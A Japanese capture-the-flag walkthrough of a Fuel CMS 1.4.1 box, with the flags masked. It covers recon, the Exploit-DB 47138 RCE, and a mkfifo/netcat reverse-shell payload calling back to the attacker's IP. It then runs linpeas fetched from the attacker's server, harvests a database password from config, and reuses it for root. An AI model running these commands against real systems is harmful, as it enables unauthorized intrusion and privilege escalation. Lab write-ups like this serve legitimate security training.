一部を■で隠しています。
第一段階:ユーザーシェル獲得
Recon
nmapとgobusterをとりあえずかける。
$ export IP=[your IP] $ nmap -sC -sV $IP 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-robots.txt: 1 disallowed entry |_/fuel/ |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Welcome to FUEL CMS $ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt > gobuster.txt http://[your IP]/0 (Status: 200) http://[your IP]/assets (Status: 301) http://[your IP]/home (Status: 200) http://[your IP]/index (Status: 200) http://[your IP]/index.php (Status: 200) http://[your IP]/offline (Status: 200) http://[your IP]/robots.txt (Status: 200)
コマンドインジェクションからのリバースシェルっぽい。
FUEL CMSが動いている。
サイトを見てみるが、特に何もない。
Fuel CMSの脆弱性を見てみる。
Fuel CMS
$ searchsploit fuel ---------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------Franklin Fueling TS-550 evo 2.0.0.6833 - Multiple Vulnerabilities | hardware/webapps/31180.txt fuel CMS 1.4.1 - Remote Code Execution (1) | linux/webapps/47138.py Fuel CMS 1.4.1 - Remote Code Execution (2) | php/webapps/49487.rb Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated) | php/webapps/48741.txt Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated) | php/webapps/48778.txt ---------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------Shellcodes: No Results Papers: No Results
色々ありますね…RCEをとりあえず試す。ちなみにPoCコードにはProxy関連のコードが入っているので削除して使用しないと例外が出る。
$ searchsploit -p 47138 Exploit: fuel CMS 1.4.1 - Remote Code Execution (1) URL: https://www.exploit-db.com/exploits/47138 Path: /usr/share/exploitdb/exploits/linux/webapps/47138.py File Type: HTML document, ASCII text, with CRLF line terminators $ cp /usr/share/exploitdb/exploits/linux/webapps/47138.py 47138.py $ python2 47138.py cmd:id systemuid=33(www-data) gid=33(www-data) groups=33(www-data)
良い感じ。リバースシェルしよう。> nc -vnlp 30303
で待って、一通り発動ペイロードを試すと以下で刺さる。
$ python2 47138.py cmd:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [yourIP] 30303 >/tmp/f
ささったら、中を探索してフラグを見つける。
$ python -c 'import pty; pty.spawn("/bin/bash")' www-data@ubuntu:/var/www/html$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@ubuntu:/var/www/html$ cd /home cd /home www-data@ubuntu:/home$ ls -la ls -la total 12 drwxr-xr-x 3 root root 4096 Jul 26 2019 . drwxr-xr-x 24 root root 4096 Jul 26 2019 .. drwx--x--x 2 www-data www-data 4096 Jul 26 2019 www-data www-data@ubuntu:/home$ cd www-data cd www-data www-data@ubuntu:/home/www-data$ ls -la ls -la total 12 drwx--x--x 2 www-data www-data 4096 Jul 26 2019 . drwxr-xr-x 3 root root 4096 Jul 26 2019 .. -rw-r--r-- 1 root root 34 Jul 26 2019 flag.txt www-data@ubuntu:/home/www-data$ cat flag.txt cat flag.txt ■■■■■■■■■■■■■■■■■■■■■■
第二段階:権限昇格
いつもの権限昇格確認を試すが刺さらないので、linpeas.shで詳しく解析していこう。
ホスト側 $ curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh > linpeas.sh $ python -m http.server 80 被害者側 $ wget http://[yourIP]/linpeas.sh $ sh linpeas.sh [+] USBCreator [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation Vulnerable!! [+] SUID - Check easy privesc, exploits and write perms [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid -rwsr-xr-x 1 root root 44K May 7 2014 /bin/ping6 -rwsr-xr-x 1 root root 44K May 7 2014 /bin/ping -rwsr-xr-x 1 root root 31K Jul 12 2016 /bin/fusermount -rwsr-xr-- 1 root messagebus 42K Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 139K Jan 28 2017 /bin/ntfs-3g ---> Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others(02-2017) -rwsr-xr-x 1 root root 19K Mar 17 2017 /usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox -rwsr-xr-x 1 root root 10K Mar 27 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 40K May 16 2017 /usr/bin/chsh -rwsr-xr-x 1 root root 53K May 16 2017 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997) -rwsr-xr-x 1 root root 74K May 16 2017 /usr/bin/gpasswd -rwsr-xr-x 1 root root 49K May 16 2017 /usr/bin/chfn ---> SuSE_9.3/10 -rwsr-xr-x 1 root root 39K May 16 2017 /usr/bin/newgrp ---> HP-UX_10.20 -rwsr-xr-x 1 root root 40K May 16 2017 /bin/su -rwsr-xr-x 1 root root 134K Jul 4 2017 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable -rwsr-xr-x 1 root root 11K May 8 2018 /usr/bin/vmware-user-suid-wrapper -rwsr-xr-x 1 root root 27K May 16 2018 /bin/umount ---> BSD/Linux(08-1996) -rwsr-xr-x 1 root root 40K May 16 2018 /bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8 -rwsr-xr-- 1 root dip 386K Jun 12 2018 /usr/sbin/pppd ---> Apple_Mac_OSX_10.4.8(05-2007) -rwsr-sr-x 1 root root 11K Oct 25 2018 /usr/lib/xorg/Xorg.wrap -rwsr-xr-x 1 root root 15K Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1 -rwsr-xr-x 1 root root 23K Jan 15 2019 /usr/bin/pkexec ---> Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485) -rwsr-sr-x 1 root root 97K Jan 29 2019 /usr/lib/snapd/snap-confine ---> Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304) -rwsr-xr-x 1 root root 419K Jan 31 2019 /usr/lib/openssh/ssh-keysign [+] Finding passwords inside key folders (limit 70) - only PHP files /var/www/html/fuel/application/config/MY_fuel.php:$config['default_pwd'] = 'admin'; /var/www/html/fuel/application/config/constants.php:defined('EXIT_DATABASE') OR define('EXIT_DATABASE', 8); // database error /var/www/html/fuel/application/config/constants.php:defined('EXIT_USER_INPUT') OR define('EXIT_USER_INPUT', 7); // invalid user input /var/www/html/fuel/application/config/database.php: 'password' => '■■■■■■■■■■■■■■■■■■■■■■■', /var/www/html/fuel/codeigniter/core/compat/hash.php: $password = hash($algo, $password, TRUE); /var/www/html/fuel/codeigniter/core/compat/hash.php: function hash_pbkdf2($algo, $password, $salt, $iterations, $length = 0, $raw_output = FALSE)
怪しいのが色々列挙されてくるが、パスワードっぽいものが抜き出せている。
rootパスワードとして使えないか試してみると使えてしまう。
www-data@ubuntu:/var/www/html$ su su Password: ■■■■■■■■■■■■■■■■■■■■■■■ root@ubuntu:/var/www/html# cd /root cd /root root@ubuntu:~# ls -la ls -la total 32 drwx------ 4 root root 4096 Jul 26 2019 . drwxr-xr-x 24 root root 4096 Jul 26 2019 .. -rw------- 1 root root 357 Jul 26 2019 .bash_history -rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc drwx------ 2 root root 4096 Feb 26 2019 .cache drwxr-xr-x 2 root root 4096 Jul 26 2019 .nano -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rw-r--r-- 1 root root 34 Jul 26 2019 root.txt root@ubuntu:~# cat root.txt cat root.txt ■■■■■■■■■■■■■■■■
ok.